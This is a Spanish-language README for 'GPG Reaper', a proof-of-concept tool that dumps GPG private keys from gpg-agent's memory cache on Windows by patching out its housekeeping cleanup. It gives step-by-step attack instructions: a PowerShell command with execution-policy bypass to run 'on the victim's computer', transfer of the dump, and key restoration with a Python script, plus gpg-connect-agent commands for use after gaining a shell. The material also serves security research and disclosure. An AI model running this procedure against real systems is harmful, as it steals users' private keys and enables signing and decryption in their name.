
GPG Reaper - Obtener/Robar/Restaurar Claves Privadas GPG desde la caché/memoria de gpg-agent
TL;DR: Obtener/Robar/Restaurar Claves Privadas GPG de la caché/memoria de gpg-agent
Este POC demuestra un método para obtener claves privadas GPG de la memoria de gpg-agent en Windows.
Normalmente esto solo debería ser posible dentro de un período de 10 minutos (valor de --default-cache-ttl).
Desafortunadamente, la función housekeeping() (que es responsable de la limpieza de la caché) se ejecuta solo si estás usando GPG (no hay un temporizador allí).
Esto significa que en un caso de uso normal de GPG como: firmas un archivo, luego cierras la GUI y haces otra tarea, tu contraseña aún está en la memoria de gpg-agent (incluso si el ttl expiró).
Un atacante que tenga acceso a tu sesión actual puede usar esto para robar la clave privada sin conocer tu frase de contraseña.
AVISO: GPG cambiará el mecanismo de caché en la versión 2.2.6. Consulta el commit y el issue.

pip install PGPy
Si obtienes:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:
entonces:
pip install six==1.10.0
Instala Gpg4Win 3.0.3
Abre la línea de comandos e inicia el agente con un tiempo de caché de 2 segundos:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2



Repite los pasos 4-5. Cada vez que pinentry aparece porque nuestra caché de 2 segundos expiró
Ejecuta GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Verás algo como:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Como puedes ver, volcamos la clave. Esto es posible porque anulamos (nopped) la función de housekeeping.
python gpg_reaper.py .\testme.txt
La clave privada se vuelca al archivo:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent es un demonio para gestionar claves privadas de forma independiente de cualquier protocolo.
La interfaz GUI se comunica con el agente usando el Protocolo Assuan.
Por defecto, el agente almacena en caché tus credenciales.
La opción --default-cache-ttl n establece el tiempo que una entrada de caché es válida en n segundos.
El valor por defecto es 600 segundos. Cada vez que se accede a una entrada de caché, su temporizador se reinicia.
En Windows, el proceso de firma se ve así:

La parte crucial aquí es la función housekeeping() que es responsable de eliminar las credenciales expiradas de la memoria.
Pero hay un problema: esta función se ejecuta solo en dos lugares (dentro de agent_put_cache y agent_get_cache).
Esto significa que las credenciales en caché NO se eliminan de la memoria hasta que se ejecuten algunos comandos de gpg-agent que usen agent_put_cache, agent_get_cache o agent_flush_cache.
En el ordenador de la víctima:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Transfiere out.txt a tu máquina y restaura las claves privadas:
gpg_reaper.py out.txt
Las claves privadas se volcarán en archivos separados.
Si GPG está instalado fuera de los directorios predeterminados:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Si no quieres mensajes de depuración:
Gpg-Reaper -Verbose $false
Supongamos que estás realizando pruebas de penetración y obtienes un shell en un ordenador con GPG instalado.
Si tienes suerte y el usuario usó GPG recientemente y la caché no ha expirado, puedes:
Ejecuta c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Ejecuta c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
Desafortunadamente, esto no funciona como se espera y pide contraseña.
¿Por qué? Porque la función cmd_export_key() ejecuta agent_key_from_file() con la bandera CACHE_MODE_IGNORE, lo que significa que la caché no se usará y se le pedirá la frase de contraseña al usuario cada vez.
Sabemos que no es posible exportar la clave GPG a través de gpg-agent sin conocer la contraseña.
Pero hay un pequeño truco aquí. El agente tiene algunas opciones disponibles: